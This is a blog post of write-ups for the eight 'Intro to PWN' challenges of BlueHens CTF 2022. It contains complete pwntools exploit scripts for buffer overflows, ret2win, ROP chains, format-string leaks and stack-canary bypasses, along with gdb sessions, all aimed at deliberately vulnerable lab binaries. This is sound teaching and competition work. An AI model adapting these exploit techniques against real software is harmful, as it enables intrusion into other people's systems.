BlueHens CTF 2022 PWN Writeups

Reading time ~15 minutes

Pretty fun CTF organized by the BlueHens CTF team from the University of Delaware. This one featured a bunch of Minecraft challenges but also the typical PWN, Crypto, Reversing and Web categories.

These are my solutions for the entire Intro to PWN series which had 8 fun binaries to pwn.

Intro to PWN 1 - PWN - 50 points

This challenge comes with 2 files, the source code in main.c and the binary itself. The challenge reads:

#1. Smash a variable

The code from main.c reads:

#include <stdio.h> 
#include <stdlib.h> 


int main(){
    char buf[0x100]; 
    int overwrite_me; 
    overwrite_me = 1234; 
    puts("Welcome to PWN 101, smash my variable please.\n"); 
    gets(buf); 
    if (overwrite_me == 0x1337){ 
        system("/bin/sh"); 
    } 
    return 0; 
} 

The challenge seems straightforward, write past the 0x100 byte bounds of buf and store 0x1337 in overwrite_me. I use a standard boiler plate for exploiting all of these using pwntools so excuse the excess stuff to get the simple things done.

Solution for part 1:

from pwn import *

fname = "./pwnme"
local = False

if local:
    p = process(fname)
else:
    p = remote("0.cloud.chals.io", 19595)

payload = (b"A" * 0x100) + (p32(0x1337) * 4)
p.sendline(payload)
p.interactive()

Intro to PWN 2 - PWN - 50 points

The second challenge comes again with souce in main.c and a binary called pwnme. The challenge reads:

#2. Control the Instruction Pointer

This time the binary is 32bit:

$ file pwnme                                                                                                                                                                      
pwnme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically 
linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=
ec230d565ec0c9bb3ed87968b73ab498a7a8e0cf, for GNU/Linux 3.2.0, not stripped

The main.c source reads:

#include <stdlib.h> 
#include <stdio.h> 

void win(){ 
    system("/bin/sh"); 

} 

void vuln(){
    char buf[55]; 
    gets(buf); 
} 

int main(){ 
    puts("Level 2: Control the IP\n"); 
    vuln(); 
    return 0; 
} 

So this reads to me like a ret2win challenge. In this case the win function is literally called win(). I start by finding what offset I begin to control the instruction pointer:

$ gdb ./pwnme
gdb-peda$ pattern_create 96
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA'
gdb-peda$ r
Stopped reason: SIGSEGV
0x41334141 in ?? ()
gdb-peda$ pattern_offset 0x41334141
1093878081 found at offset: 67

I also note PIE is disabled:

$ checksec pwnme
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So now I can build a simple ret2win exploit:

from pwn import *

local = False

fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 22209
offset = 67

binary = context.binary = ELF(fname)

if local:
    p = process(fname)

else:
    p = remote(hostname, port)

rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p32(binary.sym['win']))
p.sendline(rop.chain())
p.interactive()

Intro to PWN 3 - PWN - 50 points

Another 32 bit binary with source, the challenge reads:

#3. 32-bit Calling Convention

And main.c reads:

#include <stdlib.h> 
#include <stdio.h> 

void win(unsigned int x){ 
    if (x != 0xdeadbeef){
        puts("Almost...");
	return;
    }
    system("/bin/sh");
} 

void vuln(){
    char buf[24]; 
    gets(buf); 
} 

int main(){ 
    puts("Level 3: Args too?\n"); 
    vuln(); 
    return 0; 
} 

Again, 32 bit, no PIE:

$ checksec pwnme
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Using GDB i find at what offset the crash happens, this time its at offset 36:

Level 3: Args too?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36

So I can craft another ret2win exploit, this time I need to provide an argument to the function, which in 32 bit x86 is provided via the stack. So this is straightforward:

from pwn import *

local = True
binary_name = './pwnme'
win_func = 'win'

binary = context.binary = ELF(binary_name)

if local:
    p = process(binary_name)
else:
    p = remote('0.cloud.chals.io',28949)

offset = 36

rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p32(binary.sym[win_func]))
rop.raw(p32(0xdeadbeef)*2)
p.sendline(rop.chain())
p.interactive()

Intro to PWN 4 - PWN - 111 points

At this stage, source code is no longer provided, we just get a binary for each challenge. The challenge reads:

#4. 64-bit Calling Convention

So we sort of know where they’re going with this. Again, we need the crash offset. Again PIE is disabled:

$ checksec pwnme
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

GDB to get the crash offset (slightly diff in 64 bit):

$ gdb ./pwnme
gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Level 3: Args too?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Stopped reason: SIGSEGV
0x00000000004011c9 in vuln ()
gdb-peda$ bt
#0  0x00000000004011c9 in vuln ()
#1  0x4141464141304141 in ?? ()
#2  0x4147414131414162 in ?? ()
#3  0x4841413241416341 in ?? ()
#4  0x0000000000000000 in ?? ()
gdb-peda$ pattern_offset 0x4141464141304141
4702116732032008513 found at offset: 40

An offset of 40 should do the trick, we write a basic 64 bit ret2win exploit. This time we need a pop rdi ROP gadget to place our argument from the stack into the RDI register. The exploit looks like this:

from pwn import *

local = False

fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 10711
offset = 40

binary = context.binary = ELF(fname)

if local:
    p = process(fname)
else:
    p = remote(hostname, port)

rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(binary.sym['win']))
p.sendline(rop.chain())
p.interactive()

Intro to PWN 5 - PWN - 111 points

This challenge reads:

#5. Handling PIE via Leak

Ok so we’re expecting PIE, lets check what else?

$ checksec pwnme
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

64 bit with PIE enabled. Cool. Let’s see how the leak works?

$ ./pwnme
How about reading a leak? 0x555cd142722e

Ok what is that address? In another terminal, while pwnme is still sitting around waiting for input, I check w/gdb:

$ gdb -p `pidof pwnme`
gdb-peda$ x/1x 0x556b0e55722e
0x556b0e55722e <win>:   0xe5894855fa1e0ff3
gdb-peda$ disass win
Dump of assembler code for function win:
   0x0000556b0e55722e <+0>:     endbr64 
   0x0000556b0e557232 <+4>:     push   rbp
   0x0000556b0e557233 <+5>:     mov    rbp,rsp
   0x0000556b0e557236 <+8>:     sub    rsp,0x10
   0x0000556b0e55723a <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x0000556b0e55723d <+15>:    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x0000556b0e557244 <+22>:    je     0x556b0e557254 <win+38>
   0x0000556b0e557246 <+24>:    lea    rdi,[rip+0xdb7]        # 0x556b0e558004
   0x0000556b0e55724d <+31>:    call   0x556b0e557090 <puts@plt>
   0x0000556b0e557252 <+36>:    jmp    0x556b0e557260 <win+50>
   0x0000556b0e557254 <+38>:    lea    rdi,[rip+0xdb3]        # 0x556b0e55800e
   0x0000556b0e55725b <+45>:    call   0x556b0e5570a0 <system@plt>
   0x0000556b0e557260 <+50>:    leave  
   0x0000556b0e557261 <+51>:    ret    
End of assembler dump.

Ok it literally leaks the address of win(). Exploitation is trivial, again we find the crash offset:

$ gdb ./pwnme
gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
How about reading a leak? 0x55555555522e
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Stopped reason: SIGSEGV
0x0000555555555281 in vuln ()
gdb-peda$ bt
#0  0x0000555555555281 in vuln ()
#1  0x4141464141304141 in ?? ()
gdb-peda$ pattern_offset 0x4141464141304141
4702116732032008513 found at offset: 40

Again at offset 40. Exploit follows:


from pwn import *

local = False

fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 22287
offset = 40

binary = context.binary = ELF(fname)

if local:
    p = process(fname)
else:
    p = remote(hostname, port)

leak = int(p.recvline().decode().split("? ")[1],16)
base = leak - (binary.sym['win'] - binary.address)
log.info(f"leaked addr: {hex(leak)}")
log.info(f"base addr: {hex(base)}")

binary.address = base
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(leak))
p.sendline(rop.chain())
p.interactive()

Intro to PWN 6 - PWN - 280 points

The challenge reads:

#6. Using printf to create a leak

This time, were not given a leak outright, but we are given a format string vulnerability to create a leak:

$ ./pwnme
How about creating a leak? %2$016lx
0000000000000001

Cool, we need to know which stack argument is a leak that will help us defeat PIE because, again it is enabled:

$ checksec pwnme
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

To find a useful stack argument I wrote this dirty script:

from pwn import *

file = "./pwnme"

for i in range(1,10):
    payload = f"%{i}$016lx".encode()
    p = process(file)
    p.sendlineafter(b'?', payload)
    res = p.recv(16).decode()
    print(f"Result for {i}: {res}")
    p.close()

Running it I get:

$ PWNLIB_SILENT=1 ./findfmt.py
Result for 1: 0000000000000001
Result for 2: 0000000000000001
Result for 3: 00007f36267f2a80
Result for 4: 0000000000000000
Result for 5: 0000000000000000
Result for 6: 786c363130243625
Result for 7: 0000000000000000
Result for 8: 0000000000000000
Result for 9: 00005648eb2a822e

The 9th argument on the stack looks like an address of our PIE binary, lets look in more detail in GDB. In one terminal I run:

$ ./pwnme                                                   
How about creating a leak?%9$016lx
000055a6adec722e

In another terminal, GDB:

$ gdb -p `pidof pwnme`
gdb-peda$ disass 0x00055a6adec722e
Dump of assembler code for function win:
   0x000055a6adec722e <+0>:     endbr64 
   0x000055a6adec7232 <+4>:     push   rbp
   0x000055a6adec7233 <+5>:     mov    rbp,rsp
   0x000055a6adec7236 <+8>:     sub    rsp,0x10
   0x000055a6adec723a <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x000055a6adec723d <+15>:    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x000055a6adec7244 <+22>:    je     0x55a6adec7254 <win+38>
   0x000055a6adec7246 <+24>:    lea    rdi,[rip+0xdb7]        # 0x55a6adec8004
   0x000055a6adec724d <+31>:    call   0x55a6adec7090 <puts@plt>
   0x000055a6adec7252 <+36>:    jmp    0x55a6adec7260 <win+50>
   0x000055a6adec7254 <+38>:    lea    rdi,[rip+0xdb3]        # 0x55a6adec800e
   0x000055a6adec725b <+45>:    call   0x55a6adec70a0 <system@plt>
   0x000055a6adec7260 <+50>:    leave  
   0x000055a6adec7261 <+51>:    ret

Ok great, so the 9th argument on the stack is the address of win(). I repeat the other steps I’ve already done above, to find the offset of the crash. The result is the same 40bytes. Exploitation is simple and basically a copy of the previous one:

from pwn import *

local = False

fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 20646
offset = 40

binary = context.binary = ELF(fname)

if local:
    p = process(fname)

else:
    p = remote(hostname, port)

p.sendlineafter(b'?', b"%9$016lx")
leak = int(p.recv(16).decode(),16)
base = leak - (binary.sym['win'] - binary.address)
log.info(f"leaked addr: {hex(leak)}")
log.info(f"base addr: {hex(base)}")

# set base address
binary.address = base
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(leak))
p.sendline(rop.chain())
p.interactive()

Intro to PWN 7 - PWN - 349 points

The challenge reads:

#7. Defeat PIE and a Canary, Full Green

This time we’re expecting a stack canary, and PIE. Let’s double check:

$ checksec pwnme
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Correct. Everything is green. To get the canary and PIE location in memory we need a leak, do we have one?

$ ./pwnme 
How about creating a leak AND smashing a canary?%2$016lx
0000000000000001

Looks like the same leak as last challenge. Ok, lets find the canary AND binary location in memory. I re-use the findfmt.py from before:

$ PWNLIB_SILENT=1 ./findfmt.py
Result for 1: 0000000000000001
Result for 2: 0000000000000001
Result for 3: 00007f7310df2a80
Result for 4: 0000000000000000
Result for 5: 0000000000000000
Result for 6: 786c363130243625
Result for 7: 00007f500e876800
Result for 8: 0000000000000000
Result for 9: 00007fff82e534a0
Result for 10: 00007ffd199e4c58
Result for 11: 000055b96b5a62f8
Result for 12: 0000000000000000
Result for 13: f0ba1688f7960700
Result for 14: 00007ffce7ba3400
Result for 15: 00005623b3579314
Result for 16: 0000000000000001
Result for 17: 00007f11cd42920a
Result for 18: 0000000000000000
Result for 19: 000055dce7fdc2f8

What we know about stack canaries is they always end with 00. In this result stack argument 13 stands out f0ba1688f7960700 because its a bunch of randomness ending in a single null byte.

Other than that, on my local system I see argument 11 looks like our binary’s location in memory. Let’s check these in gdb. In one terminal we get some valid values:

$ ./pwnme
How about creating a leak AND smashing a canary? %11$016lx %13$016lx
 000055dbd49d72f8 f0e6f72069309000

In another, I look first for the 000055dbd49d72f8 value. What does it point to?

$ gdb -p `pidof pwnme`
gdb-peda$ disass 0x00055dbd49d72f8
Dump of assembler code for function main:
   0x000055dbd49d72f8 <+0>:     endbr64 
   0x000055dbd49d72fc <+4>:     push   rbp
   0x000055dbd49d72fd <+5>:     mov    rbp,rsp
   0x000055dbd49d7300 <+8>:     mov    eax,0x0
   0x000055dbd49d7305 <+13>:    call   0x55dbd49d71e9 <init>
   0x000055dbd49d730a <+18>:    mov    eax,0x0
   0x000055dbd49d730f <+23>:    call   0x55dbd49d7282 <vuln>
   0x000055dbd49d7314 <+28>:    mov    eax,0x0
   0x000055dbd49d7319 <+33>:    pop    rbp
   0x000055dbd49d731a <+34>:    ret

ok the address of main() i can work with that!

If we look at vuln() we can find the instructions where the stack canary is checked:

gdb-peda$ disass vuln
Dump of assembler code for function vuln:
...
   0x000055dbd49d72e2 <+96>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000055dbd49d72e6 <+100>:   xor    rax,QWORD PTR fs:0x28
   0x000055dbd49d72ef <+109>:   je     0x55dbd49d72f6 <vuln+116>
   0x000055dbd49d72f1 <+111>:   call   0x55dbd49d70b0 <__stack_chk_fail@plt>
...

So at vuln() + 96 we mov whatever value we have on the stack where our canary should be into RAX, then we xor RAX with the real canary. If the canary is right RAX should be set to 0 and we pass the canary check.

To exploit this we need to know 2 offsets:

  1. Where is the canary on the stack, how many bytes before we overwrite it?
  2. Where is the return pointer on the stack, how many bytes until we overwrite that?

To get the canary location we can use gdb to set a breakpoint at vuln() + 96 and see what part of a cyclic pattern is mov‘d into RAX:

$ gdb ./pwnme
gdb-peda$ br *vuln + 96
Breakpoint 1 at 0x5555555552e2
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: pwnme 
How about creating a leak AND smashing a canary? %11$016lx %13$016lx 
 00005555555552f8 0caf6df18bc7a600 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

...
Breakpoint 1, 0x00005555555552e2 in vuln ()
gdb-peda$ s
gdb-peda$ print $rax
$1 = 0x413b414144414128
gdb-peda$ pattern_offset 0x413b414144414128
4700422384665051432 found at offset: 24

Perfect. So we know the canary needs to start at offset 24 into our payload AND that we attempted to send 0x413b414144414128 this time around. What happens after the next xor instruction?

gdb-peda$ s
gdb-peda$ print $rax
$3 = 0x4d942cb0cf86e728

If we calculate 0x0caf6df18bc7a600 ^ 0x413b414144414128 we get 0x4d942cb0cf86e728 so this also is useful to confirm we DO have the right stack argument for the canary.

We can now use a quick script to confirm the crash location:

from pwn import *

local = True
canary_offset = 24

fname = "./pwnme"

binary = context.binary = ELF(fname)
p = process(fname)

# Leak canary
p.sendlineafter(b'?', f"%{13}$016lx".encode())
leak = p.recv(16).decode()
canary = int(leak[:16],16)

input("attach gdb...")

# Send cyclic pattern after canary. Observe crash in GDB.
rop = ROP(binary)
rop.raw(b"A" * canary_offset)
rop.raw(p64(canary))
rop.raw(b"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
p.sendline(rop.chain())
p.interactive()

I run that script in one terminal and attach GDB in another:

 $ ./findcrash.py
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './pwnme': pid 195867
attach gdb...

In the other terminal:

$ gdb -p 195867
gdb-peda$ c
Continuing.
...
Stopped reason: SIGSEGV
0x00005648774bb2f7 in vuln ()
gdb-peda$ bt
#0  0x00005648774bb2f7 in vuln ()
#1  0x6e41412441414241 in ?? ()
#2  0x41412d4141434141 in ?? ()
...
gdb-peda$ pattern_offset 0x6e41412441414241
7944702841627689537 found at offset: 8

Perfect, so now we know how large our payload total needs to be:

  • 24 bytes + Canary (8bytes) + 8 more bytes = 40 bytes

We can now write our exploit!

from pwn import *

local = False

fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 12229

canary_arg = 13
canary_offset = 24

binary = context.binary = ELF(fname)

if local:
    p = process(fname)
else:
    p = remote(hostname, port)


# Required different stack arguments on the remote server!
base_arg = 0
if local:
    base_arg = 11
else:
    base_arg = 10

p.sendlineafter(b'?', f"%{canary_arg}$016lx%{base_arg}$016lx".encode())
leak = p.recv(32).decode()
canary = int(leak[:16],16)
base = int(leak[16:],16) - (binary.sym['main'] - binary.address)

log.info(f"leak: {leak}")
log.info(f"canary: {hex(canary)}")
log.info(f"base addr: {hex(base)}")

# set base address
binary.address = base
win = binary.sym['win']
rop = ROP(binary)
rop.raw(b"A" * canary_offset)
rop.raw(p64(canary))
rop.raw(b"B" * 8)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(win))
p.sendline(rop.chain())
p.interactive()

Intro to PWN 8 - PWN - 413 points

This brings us to the last and supposed to be hardest challenge. I found it a bit tricky but ended up with an unintended solution. The challenge reads:

#8. Full Green AND multiple function 32-bit chaining

When running the binary it resembles 6 and 7 except now in 32 bit:

$ ./pwnme
How about creating a leak AND smashing a canary AND chaining several functions?  %5$08x 
 00000000

Using the following script I enumerated the stack arguments:

from pwn import *

file = "./pwnme"

for i in range(1,20):
    payload = f"%{i}$08x".encode()
    p = process(file)
    p.sendlineafter(b'?', payload)
    res = p.recv(8).decode()
    print(f"Result for {i}: {res}")
    p.close()

When I ran it I identified a likely canary and PIE address:

$ PWNLIB_SILENT=1 ./findfmt32bit.py
Result for 1: 00000000
Result for 2: 00000000
Result for 3: 565743b5
Result for 4: 00000000
Result for 5: 00000000
Result for 6: f7faa1c0
Result for 7: 30243725
Result for 8: 00786c38
Result for 9: 00000000
Result for 10: f7c183e9
Result for 11: 56604fb8
Result for 12: ffe79bc4
Result for 13: f7f46b80
Result for 14: ff9d7de8
Result for 15: 5658e2c5
Result for 16: f7e1fce0
Result for 17: 00000000
Result for 18: 00000002
Result for 19: d439f400

Again, 32bit stack canaries always end in 00 so the 19th stack argument is the canary. The 3rd stack argument looks like a valid address, lets use GDB to see where it leads:

$ ./pwnme 
How about creating a leak AND smashing a canary AND chaining several functions? %3$08x 
 565d83b5

In the other terminal I use gdb:

$ gdb -p `pidof pwnme`
gdb-peda$ disass 0x565d83b5
Dump of assembler code for function vuln:
   0x565d83a5 <+0>:     endbr32 
   0x565d83a9 <+4>:     push   ebp
   0x565d83aa <+5>:     mov    ebp,esp
   0x565d83ac <+7>:     push   ebx
   0x565d83ad <+8>:     sub    esp,0x44
...

Ok so we can leak the address of vuln()+0x10. Cool. We can use this.

I found everything else to be the same:

  • The offset of the canary in our payload was the same as challenge 7 (24)
  • The total payload size is the same as challenge 7 (40)

The rest of the challenge seemed to want us to:

  • Create a ROP chain that traversed multiple functions within the binary. These functions were func1(), func2() and func3().
  • Provide each function with an argument that validated.
  • Finally jump to win() which would validate all the prerequisites.

I found that by just chaining func1() and win() half way into the win() function, we could bypass the validator. This produced the following exploit:

from pwn import *

local = False

fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 17140
canary_offset = 24
offset = 40

binary = context.binary = ELF(fname)

if local:
    p = process(fname)
else:
    p = remote(hostname, port)

# Which argument on the stack we need to leak for the canary and base addr.
canary_arg = 19
base_arg = 3

# might be different on remote system
if not local:
    base_arg = 3

p.sendlineafter(b'?', f"%{canary_arg}$08lx%{base_arg}$08lx".encode())
leak = p.recv(16).decode()
canary = int(leak[:8],16)
base = int(leak[8:],16) - 0x10 - (binary.sym['vuln'] - binary.address) 

log.info(f"leak: {leak}")
log.info(f"canary: {hex(canary)}")
log.info(f"base addr: {hex(base)}")

# set base address
binary.address = base
win = binary.sym['win']
func1 = binary.sym['func1']

rop = ROP(binary)
rop.raw(b"A" * canary_offset)
rop.raw(p32(canary))
rop.raw(b"A" * (offset-canary_offset-4))
rop.raw(p32(func1))
rop.raw(p32(win+73))       # jump into win past the checks, dont care if they work.
rop.raw(p32(0xdeadbeef) * 4)
p.sendline(rop.chain())
p.interactive()

Which worked and wrapped up the final Intro to PWN challenge.

A lot of fun and revision for me. Thanks!

Interviewing in Tech: Security Engineer & Security Analyst

Landing a job as a security engineer or analyst at a tech company is a significant feat. It requires not only technical acumen but also s...… Continue reading

BSides Sydney 2023 Writeups

Published on November 24, 2023

DUCTF 2023 Writeups

Published on August 31, 2023